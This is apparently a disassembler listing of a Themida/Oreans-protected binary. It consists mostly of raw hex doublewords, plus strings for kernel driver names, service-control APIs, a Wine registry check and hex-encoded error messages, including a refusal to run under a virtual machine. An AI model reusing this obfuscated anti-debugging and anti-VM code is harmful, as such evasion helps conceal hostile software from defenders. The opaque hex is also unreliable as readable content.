0D0850FC9h, 0BFFFFFFh, 21840FC9h, 80000000h dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h dd 0 dd 840FC90Bh, 0Dh, 0B589F32Bh, 7E7279Ch, 0AE9h, 9C85C700h dd 7E727h, 61000000h, 0B8C3h, 0C00B0000h, 0A840Fh, 85C70000h dd 7E42D7Dh, 0 dd 0B7E9C88Bh, 41000010h, 50415644h, 2E323349h, 4C4C44h dd 6E65704Fh, 614D4353h, 6567616Eh, 43004172h, 74616572h dd 72655365h, 65636976h, 74530041h, 53747261h, 69767265h dd 416563h, 4E746547h, 76697461h, 73795365h, 496D6574h dd 6F666Eh, 6E65704Fh, 76726553h, 41656369h, 6C654400h dd 53657465h, 69767265h, 43006563h, 65736F6Ch, 76726553h dd 48656369h, 6C646E61h, 6F430065h, 6F72746Eh, 7265536Ch dd 65636976h, 8 dup(0) dd 65726F00h, 33736E61h, 79732E32h, 73h, 0 dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0) aOreans32 db 'oreans32',0 a_Oreans32 db '\\.\oreans32',0 a_GlobalOreans3 db '\\.\Global\oreans32',0 aOreansx64 db 'oreansx64',0 a_GlobalOreansx db '\\.\Global\oreansx64',0 align 10h dd 41h dup(0) dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h dd 736E6165h, 732E3233h, 7379h, 48h dup(0) dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h dd 676F7270h, 2E6D6172h, 59h dup(0) dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0) dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0) dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0) aSOreans_vxd db '%s\Oreans.vxd',0 align 4 dd 2 dup(0) aXprotevent db 'XprotEvent',0 align 10h dd 0Ah dup(0) dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h dd 6567h, 43000000h, 74616572h, 65764565h, 4120746Eh, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0) dd 10h, 0FF000100h, 17FFEFFh, 1000000h, 4A000000h, 2, 0F000100h dd 40800h dword_5B5FD0 dd 94h, 5, 1, 0A28h, 2, 76726553h, 20656369h, 6B636150h ; DATA XREF: Themida_:00583D50o ; Themida_:005856A4o dd 3220h, 1Dh dup(0) aSoftwareWine db 'Software\Wine',0 dw 0C48Bh dd 89D78B66h, 0E40AB985h, 0C9BD8B07h, 8B07E41Eh, 4EBF56C0h dd 5905CDCEh, 13F1BD83h, 750007E4h, 35BD8309h, 7E409h dd 53501974h, 3DB8C08Bh, 89000004h, 0E4147985h, 0F09D8D07h dd 0FF07E6E9h, 83585BD3h, 0E40935BDh, 17740007h, 3DB85350h dd 89000004h, 0E4147985h, 0DF9D8D07h, 0FF07E6E6h, 0F5585BD3h dd 3069BD33h, 0C08B07E4h, 0E4D8509h, 0C08B07E4h, 3ED78166h dd 0F1BD832Ch, 7E413h, 0BD830975h, 7E40935h, 50137400h dd 0B8C08B53h, 0 dd 0E8929D8Dh, 0D3FF07E6h, 0BD83585Bh, 7E40935h, 50117400h dd 0B853h, 9D8D0000h, 7E6E743h, 585BD3FFh, 119589h, 9E807E4h dd 0C8000000h, 0F5BA0D85h, 3D2A4D92h, 199D958Bh, 8B5F07E4h dd 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 0FAA90101h, 0C08BF2A1h, 88E0Fh, 8E0F0000h dd 2, 11E95F56h, 5000000h, 6B584D48h, 152925ABh, 0B1077759h dd 0E13C8EB3h, 13F1BD83h, 750007E4h, 35BD8309h, 7E409h dd 53501374h, 0B8C08Bh, 8D000000h, 0E6E7C49Dh, 5BD3FF07h dd 35BD8358h, 7E409h, 53501174h, 0B8h, 119D8D00h, 0FF07E6E7h dd 6A585BD3h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0A434C355h, 0F0FA9E3Fh, 53006A9Bh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 7C2C5908h, 8BCDC766h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 42BE833Eh, 2A3A727h, 46BFC08Bh dd 835326FEh, 0E413F1BDh, 9750007h, 935BD83h, 740007E4h dd 8B535013h, 0B8C0h, 9D8D0000h, 7E6E82Bh, 585BD3FFh, 935BD83h dd 740007E4h, 0B8535011h, 0 dd 0E72A9D8Dh, 0D3FF07E6h, 820F585Bh, 3, 66D1B70Fh, 8BD9BEB9h dd 0E426E58Dh, 840F07h, 8B000000h, 0E8F0FC0h, 0E9000000h dd 9, 0C09C3287h, 0A35F4BB8h, 66C08BBAh, 834F17BAh, 0E413F1BDh dd 9750007h, 935BD83h, 740007E4h, 8B535013h, 0B8C0h, 9D8D0000h dd 7E6E75Dh, 585BD3FFh, 6618D89h, 0F58A07E4h, 8D03C08Bh dd 7E42DE1h, 3E18D8Bh, 0C08B07E4h, 8890Fh, 81520000h, 4E8AD1F1h dd 0BD835F33h, 7E413F1h, 83097500h, 0E40935BDh, 19740007h dd 0C08B5350h, 7D0B8h, 79858900h, 8D07E414h, 0E6E9F09Dh dd 5BD3FF07h, 35BD8358h, 7E409h, 53501774h, 7D0B8h, 79858900h dd 8D07E414h, 0E6E6DF9Dh, 5BD3FF07h, 9853158h, 0E907E425h dd 8, 0ADEF0D78h, 0DC014Ah, 80B6C08Bh, 0C6D0BF0Fh, 0E42C2D85h dd 8D895307h, 7E41AA1h, 395F9068h, 52006A99h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0B5FF69C0h dd 7E4019Dh, 3BDC858Dh, 0FE907E4h, 86000000h, 0A7A37A30h dd 210CF12Fh, 0F8B6042h, 0D0FFF981h, 0EE8h db 0 byte_5B63BD db 9Ch, 0B1h, 3Ah ; DATA XREF: Themida_:00582DBCo dd 992CA453h, 91106F11h, 0F6EB632h, 684h, 8A0F00h, 5F000000h dd 30618589h, 0BD8907E4h, 7E40931h, 2C2D85C6h, 8B5707E4h dd 520668D3h, 6A9004h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0F5CA6AC3h, 0B5FFCB8Bh, 7E4019Dh dd 38E0Fh, 0B70F0000h, 0DC858DFBh, 907E43Bh, 0E42569B5h dd 89D0FF07h, 0E402459Dh, 4D858907h, 6A07E430h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 9749C351h, 0A4B251ABh, 0E7872F2Dh, 2C2D85C6h, 804307E4h dd 286866D2h, 6ABC9070h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 29CCC351h, 0B58D23CEh dd 0FF07E41Ch, 0E4019DB5h, 81665707h, 595A0FF2h, 3BDC858Dh dd 0D28107E4h, 0F3268D1h, 8589D0FFh, 7E40E6Dh, 7C19D09h dd 85C607E4h, 7E42C2Dh, 55006A4Ch, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 9A05965Fh, 669F8AEAh dd 0D40FD281h, 0F1CA8152h, 5F793650h, 0DA1CE968h, 0CE9D9h dd 0A7B00000h, 633D792h, 0D8DB3AE9h, 52601268h, 1C599501h dd 805A07E4h, 0FF61B2EEh, 0E4019DB5h, 0F98D8907h, 8D07E403h dd 0E43BDC85h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 8FD05366h, 66D3B22Dh dd 8F70CF81h, 8166D0FFh, 89F30EC2h, 0E41BD585h, 5DBD8B07h dd 0C607E435h, 0E42C2D85h, 0C5B94607h, 685BFC0Ah, 0BADE0614h dd 46DBC181h, 0B5FF1BB2h, 7E4019Dh, 13E9h, 0D7D90300h dd 0C4ED71A0h, 87906C25h, 9B5E077Eh, 259F8E94h, 3BDC858Dh dd 666007E4h, 0D080FB8Bh, 0D0FF614Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 74C35646h, 8B668B9Fh, 0CD8589D1h dd 0E907E415h, 10h, 0E6B5CE22h, 4569AD5Ch, 79AEF28Bh, 0C10299EFh dd 0E314DF81h, 85C63F36h, 7E42C2Dh, 50006A47h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 9D0160CAh dd 7E40345h, 218D8D8Bh, 806107E4h, 0E268CEF1h, 8B8A0FB5h dd 0E40FA9BDh, 9DB5FF07h, 6607E401h, 8B43D9BFh, 0E42A7995h dd 0DC858D07h, 0F07E43Bh, 58Fh, 0F2816600h, 0D0FF2ECFh dd 11E9h, 33580500h, 4540E111h, 94E482ECh, 216038C1h, 85898B4Eh dd 7E41B81h, 1505BD33h, 85C607E4h, 7E42C2Dh, 51006A47h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 608942C0h, 29CBBF0Fh, 0E432F5B5h, 81666107h, 68D210E1h dd 83D0B5F3h, 497C63B9h, 9DB5FF0Bh, 6A07E401h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0DAD7C352h, 93B9877Bh, 8D506C74h, 0E43BDC85h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 19DCC8C5h, 4DFEAFB7h, 8961B2BEh, 0E4231595h, 0E9D0FF07h dd 6, 595F011Fh, 8589C8B9h, 7E413ADh, 2D85C6FCh, 7707E42Ch dd 0B61958Bh, 0A36807E4h, 89F397A8h, 0E403A9BDh, 0E1B5FF07h dd 5307E41Dh, 35C4B966h, 0D18B6659h, 3BDC858Dh, 8D0B07E4h dd 7E40D7Dh, 0FC53D0FFh, 6985895Fh, 8B07E421h, 0E408A18Dh dd 2D85C607h, 4707E42Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 39C35646h, 356D8D0Bh, 0BD8B07E4h, 7E425BDh dd 28FAF668h, 67EA8187h, 0FF21B1DBh, 0E4019DB5h, 6E907h dd 0E36D0000h, 0ED30559h, 3BDC858Dh, 6A07E4h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0E9F833C3h dd 0Ch, 0F6B21B0Ah, 0BC3BA195h, 4A6DFECFh, 0C6B2D0FFh dd 12C58589h, 63B107E4h, 2C2D85C6h, 664307E4h, 0FC68C88Bh dd 66BC8E6Eh, 0FF104ABFh, 0E4019DB5h, 9E907h, 67CE0000h dd 79B86EC8h, 8D7A0381h, 0E43BDC85h, 0E99D8907h, 0FF07E431h dd 52006AD0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 89683938h, 0E41FD585h, 0DDBA6607h, 2D85C679h dd 4507E42Ch, 348F71BFh, 69696868h, 6A8E72h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0CCFB33C3h dd 0BE9h, 83FE8D00h, 7E37B9FEh, 0F6E2AD37h, 0FFD68B66h dd 0E4019DB5h, 0A1B96607h, 0DC858D8Ch, 8B07E43Bh, 0E4207D95h dd 0E9D0FF07h, 7, 91623F18h, 89A03ACCh, 0E4166585h, 0ABBF5707h dd 59695A17h, 2C2D85C6h, 0F4407E4h, 688h, 0A98D8B00h, 6807E418h dd 0B8F2EC64h, 0B5FF76B6h, 7E4019Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 40C35545h, 70E691DCh, 0BCC08025h dd 3D853160h, 6607E40Eh, 2AC4C381h, 0B18D2361h, 8D07E42Fh dd 0E43BDC85h, 43CA8107h, 0FF2C4574h, 850FD0h, 89000000h dd 0E4140585h, 0C6F98B07h, 0E42C2D85h, 0FA8B4307h, 764AA768h dd 0D5BD8BC0h, 0FF07E417h, 0E4019DB5h, 0F6BA6607h, 0DC858D30h dd 6A07E43Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 8599C350h, 6055C344h, 8E8h, 97331600h dd 786617E5h, 0ABB6626h, 0BA665F8Ah, 6661774Fh, 0D0FFCA8Bh dd 718589F5h, 8B07E409h, 0E418DD8Dh, 22BD8007h, 7E737h dd 0FA840Fh, 0BD8B0000h, 7E408EDh, 4858DF9h, 8007E737h dd 9E8A7D2h, 67000000h, 2AC73D6Eh, 61AA80EFh, 7BEF8166h dd 6A505973h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 48B2C356h, 0F0ABB8A0h, 0C9816650h dd 0BA5AA9DDh, 44D91D3h, 10E9016Ah, 88000000h, 819778Bh dd 1361A4B6h, 89EDB43Ch, 6A247C8Ah, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0C9BF0F88h dd 19FD8589h, 6A07E4h, 3D19D89h, 666007E4h, 0F380F88Bh dd 95FF61CBh, 7E40E6Dh, 18F1BD8Bh, 858907E4h, 7E40DA1h dd 23FF6AFCh, 0E42205BDh, 0B9665207h, 0FF5A3CB9h, 0E40DA1B5h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 0A5D95120h, 0D68B8D91h, 304D95FFh, 5E907E4h dd 6B000000h, 53FC66A3h, 958BC08Bh, 7E42415h, 13F1BD83h dd 750007E4h, 35BD8309h, 7E409h, 53501974h, 0D1B8C08Bh dd 89000007h, 0E4147985h, 0F09D8D07h, 0FF07E6E9h, 83585BD3h dd 0E40935BDh, 17740007h, 0D1B85350h, 89000007h, 0E4147985h dd 0DF9D8D07h, 0FF07E6E6h, 6A585BD3h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0D933C352h dd 2612AD67h, 5E9A6h, 0D2A70000h, 8B0F4C3Eh, 0E409ED8Dh dd 6E96007h, 95000000h, 10F34C42h, 958B6155h, 7E41859h dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0E0191FC3h, 0FBE8F8Bh, 685h, 25B58900h, 0C607E404h dd 0E42C2D85h, 6A4707h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 1E0D21C3h, 7B0A076Ah, 0F7C16857h dd 8B6693C8h, 9DB5FFCEh, 0F07E401h, 858DCFBFh, 7E43BDCh dd 1B6AC9B9h, 66D0FF63h, 1AF2E981h, 5DBD8B50h, 6607E432h dd 8D8D91BFh dd 0E73B4585h, 85896007h, 7E43219h, 0E069BE66h, 9400C761h dd 89000000h, 0E429BD8Dh, 0BF0F5807h, 45B58DFFh, 6607E73Bh dd 0F856D68Bh, 8D29D0FFh, 7E4191Dh, 3B45858Dh, 10E907E7h dd 2D000000h, 0D17D79BCh, 58F73D5Eh, 0C604EB55h, 83864532h dd 0F060478h, 2285h, 8F0F6000h, 3, 29C7BF0Fh, 0E41809BDh dd 85C76107h, 7E73BD9h, 1, 0CF816657h, 835FCAF2h, 0E43345BDh dd 850F0007h, 62h, 1C158D0Bh, 12E907E4h, 32000000h, 3552EAh dd 766A5761h, 729E47AFh, 4AED4794h, 0D9BD8341h, 7E73Bh dd 38850Fh, 850F0000h, 4, 8927BF66h, 12699D89h, 0BD8307E4h dd 7E41465h, 1B840F00h, 66000000h, 85C7FE8Bh, 7E4231Dh dd 0 dd 598D8960h, 8B07E423h, 0E413A99Dh, 8C666107h, 51006ADBh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 4A8ED918h, 661845A4h, 601FD981h, 0F04C3F6h, 56F84h dd 8D8B5600h, 7E40EF5h, 0C7D18B5Fh, 0E4201585h, 7, 5CC98100h dd 800D356Fh, 0E7372FBDh, 850F0007h, 5, 24CA8166h, 2D85C634h dd 4707E42Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0D9C35040h, 0CA8B6617h, 0E45B8668h, 0F9BF0FE3h dd 19DB5FFh, 0C88B07E4h, 3BDC858Dh, 6A07E4h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0E8E306C3h dd 81D0FF46h, 95EEDAC7h, 1046862h, 0C88B0000h, 16BD9D8Dh dd 0BF6607E4h, 0E953C41Eh, 9, 626CAF55h, 62A688B0h, 0BD3153B2h dd 7E412C9h, 81D0FF5Ah, 453814C1h, 0BD858D4Fh, 8B07E416h dd 0E401A5BDh, 6A5007h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0BF666BC3h, 10E867B5h, 9A000000h dd 0B151C820h, 715A9A55h, 404C8987h, 0B92FE6C6h, 2D68FD44h dd 0E1858D5Ah, 0F07E736h, 68Ch, 0C98D2B00h, 5007E42Dh dd 0BE9h, 7BC77400h, 608E0F72h, 0E3589527h, 2DB4858Dh dd 0B58907E7h, 7E4266Dh, 0B7B86050h, 0F0D5DB8h, 0FF61F7B7h dd 0E4216995h, 0BD035607h, 7E413D5h, 599D8959h, 8307E426h dd 6A0CC4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 8BE788C3h, 0E41C158Dh, 0D2B70F07h, 8068006Ah dd 6A000000h, 6A006A03h, 6800h, 858D8000h, 7E72DB4h, 0D595FF50h dd 8907E41Fh, 0E736C485h, 2D85C607h, 4707E42Ch, 0B15E8768h dd 9DB5FFC7h, 8D07E401h, 0E43BDC85h, 6AD0FF07h, 0C4B5FF00h dd 0FF07E736h, 998D8BD0h, 8907E406h, 0E40FA18Dh, 37D03D07h dd 830F0000h, 2Dh, 0FFFB8B66h, 0E736C4B5h, 0FEB70F07h dd 97195FFh, 8B6607E4h, 6E9D7h, 0B64B0000h, 2E1CE195h dd 13DE9h, 8B92B600h, 0E4147595h, 0C4B5FF07h, 6A07E736h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0FD3C356h, 386h, 0FABF0F00h, 97195FFh, 6E807E4h dd 0E3000000h, 0DD1EF6ADh, 5EEE80F5h, 6A006A59h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 7262C356h, 0E58D8B70h, 6A07E417h, 0AE800h, 66140000h dd 0D5470CEFh, 54019261h, 68A0Fh, 9D890000h, 7E40211h dd 0F8006A5Fh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 0FD409C3h, 43B70D30h, 95B589E9h dd 6A07E421h, 8E900h, 22CD0000h, 0B578AB60h, 6AC460h, 39506ABAh dd 0C8858D04h, 8007E736h, 858968F6h, 7E41E59h, 50006A50h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0A257249h, 0E84B2491h, 12h, 137EFBF5h, 680CE233h, 599DDD76h dd 6ACF886Fh, 8529BF9Eh, 7E406ADh, 0D595FF59h, 0F07E41Fh dd 581h, 0B7C1BA00h, 0F88353E9h, 11850FFFh, 66000001h dd 858DFE8Bh, 7E6ED6Ch, 0FE8h, 0AA554100h, 84973CE4h, 73DBB3ECh dd 13E23823h, 5FF08A56h, 5E859h, 0BDB20000h, 8B3013B5h dd 0E4222195h, 0D0FF5907h, 6630E580h, 0D367D181h, 0B966006Ah dd 6A1154h, 0BD895360h, 7E41495h, 6A615Fh, 1890Fh, 6AF80000h dd 118D8900h, 6A07E430h, 0FE800h, 0F7F20000h, 0F0B7C4C7h dd 1126971Eh, 0A9DF33DEh, 5A98B6B8h, 8B66006Ah, 0C8858DC8h dd 8B07E736h, 0E41C858Dh, 0E1815007h, 37EB1F7Ch, 1FD595FFh dd 9BB207E4h, 0FFFF883h, 6F85h, 0DE900h, 85710000h, 9A02882Ch dd 7D4192A1h, 8D4F6EA9h, 0E730D0B5h, 0FEA0BA07h, 4DBF2ECDh dd 8D3CBF7Dh, 0E6DBD685h, 0F98B6607h, 9E9D0FFh, 7D000000h dd 2672300Eh, 8C105486h, 0EE8006Ah, 7A000000h, 0D3C22402h dd 2A0018DDh, 5827ED12h, 59D08BE5h, 166595FFh, 0BD0B07E4h dd 7E421BDh, 8D896057h, 7E42155h, 0E5BD89h, 5F6107E4h dd 36C48589h, 8D8B07E7h, 7E42ED9h, 1919589h, 6A07E4h, 8D10C180h dd 0E736BC85h, 5089B207h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 2CC35545h, 0BE4AA8DFh, 11E8h, 84E9E800h dd 1F32304Eh, 20751368h, 0D8E53E9Dh, 0DE80B142h, 46A59C3h dd 68A0Fh, 0B5890000h, 7E400FDh, 2D39858Dh, 6A07E4h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 42D399C3h, 8C7AABAAh, 0A358D0Bh, 0BD0307E4h, 7E40B15h dd 10E950h, 0B160000h, 5D777FE4h, 3C2F7CC3h, 1A681030h dd 6A56C0h, 6AD1B70Fh, 9E900h, 0AE910000h, 2DEBFC5Eh, 6A26A59Ch dd 55006A01h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 0B562FBF9h, 958B1F62h, 7E41B19h, 0FFD08B66h dd 0E736C4B5h, 8C0F6007h, 6, 890Fh, 52B20000h, 595FF61h dd 8907E414h, 0E4244D85h, 1B6AE907h, 0CF810000h, 5A8F6B45h dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0B83BADC3h, 0B589EB3Ch, 7E418C5h, 13F1BD83h dd 750007E4h, 35BD8309h, 7E409h, 53501974h, 0D2B8C08Bh dd 89000007h, 0E4147985h, 0F09D8D07h, 0FF07E6E9h, 83585BD3h dd 0E40935BDh, 17740007h, 0D2B85350h, 89000007h, 0E4147985h dd 0DF9D8D07h, 0FF07E6E6h, 52585BD3h, 1CFD8589h, 665907E4h dd 16B2F181h, 0C08BFE8Bh, 201585C7h, 107E4h, 0B70F0000h dd 0E7B868C8h, 0B5FFCEE4h, 7E40DE1h, 3BDC858Dh, 0D0FF07E4h dd 23058589h, 858D07E4h, 7E73920h, 0DD858D50h, 5007E73Bh dd 168h, 595FF80h, 0B07E423h, 0C70A75C0h, 0E4026185h, 107h dd 0DBD46800h, 0B5FFC005h, 7E40DE1h, 3BDC858Dh, 0D0FF07E4h dd 1F98589h, 858D07E4h, 7E72B6Dh, 9DB5FF50h, 0FF07E401h dd 0E41B8195h, 74C00B07h, 8DD88B0Bh, 0E73B2085h, 0D3FF5007h dd 3B20858Dh, 836607E7h, 0A750938h, 2BFD85C7h, 107E4h dd 95FF0000h, 7E412C5h, 0FF25h, 5F88300h, 85C70A73h, 7E40101h dd 1, 5E59D29h, 816607E4h, 80964BC7h, 0BD80D0C1h, 7E7372Fh dd 3A840F00h, 33000000h, 0E401198Dh, 5D958907h, 8307E425h dd 0E73BD9BDh, 840F0007h, 2Ch, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 51C35141h, 8B165F58h, 19CEE9F9h dd 0B5890000h, 7E414E9h, 2BFDBD83h, 0F0007E4h, 0E385h dd 0FE8B6600h, 36F9858Dh, 6A07E7h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 788B1BC3h, 685C3395h dd 2EB950A6h, 0B200DAEFh, 0B6016A79h, 66006A5Fh, 35C8DF81h dd 3860Fh, 0C6800000h, 6A006A1Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0F7C355h dd 20998D8Bh, 95FF07E4h, 7E40E6Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 0EDC35040h, 0C35E3F64h, 0B39C177h dd 0E40455BDh, 81EF8107h, 8916AE47h, 0E7372385h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 6A17E035h, 15BD8BFFh, 0FF07E40Bh, 0E73723B5h dd 41BD8B07h, 0FF07E422h, 0E4304D95h, 2EF18007h, 2B34858Dh dd 0BA6607E7h, 0ECB566F0h, 7DBD8B50h, 0FF07E415h, 0E41BD595h dd 0A8BF6607h, 0BE858916h, 8907E72Bh, 0E42AF9B5h, 41858D07h dd 8A07E72Bh, 0FFFC50F1h, 0E72BBEB5h, 8195FF07h, 0F07E41Bh dd 58Ah, 0D7816600h, 85899182h, 7E4230Dh, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 17h, 76C35040h, 6695A952h dd 0F935F781h, 0FE9h, 84A2E000h, 48703389h, 818263CEh dd 22255AF6h, 2BAF858Dh, 8E907E7h, 42000000h, 0EFC0495Ah dd 501B3BC6h, 8E9h, 7C9FCF00h, 39789F6Bh, 28E0F28h, 0B2000000h dd 0BEB5FF26h, 8907E72Bh, 0E4041195h, 0D0B70F07h, 1B8195FFh dd 8C0F07E4h, 3, 8BC8B70Fh, 0E40A758Dh, 0D2858907h, 6A07E72Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 0D531C353h, 9A17492Bh, 8DF615A4h, 0E72B8E85h dd 958B5007h, 7E42139h, 0E758D8Bh, 0B5FF07E4h, 7E72BBEh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0C7C35545h dd 0B589FB67h, 7E429DDh, 1B8195FFh, 870F07E4h, 18h, 13E9h dd 420B0400h, 0E29EB7B2h, 0EC583849h, 3295A127h, 9082A072h dd 2BCA8589h, 6A07E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0DD4E9BC3h, 0E57DE5E5h, 8DCBB70Fh dd 0E72B8185h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 36AB86B7h, 458D8966h dd 5007E405h, 0B5D98166h, 0BEB5FF52h, 6A07E72Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 9F76C351h, 158139Dh, 0FEA1BA2h, 95FFCFBFh, 7E41B81h dd 7AC5B966h, 0C1958B57h, 5A07E407h, 2BCE8589h, 0BD8B07E7h dd 7E42449h, 2B9C858Dh, 6A07E7h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 958B66C3h, 7E41639h dd 0CE8B6650h, 2BBEB5FFh, 8F0F07E7h, 4, 1CECBA66h, 0A35B589h dd 95FF07E4h, 7E41B81h, 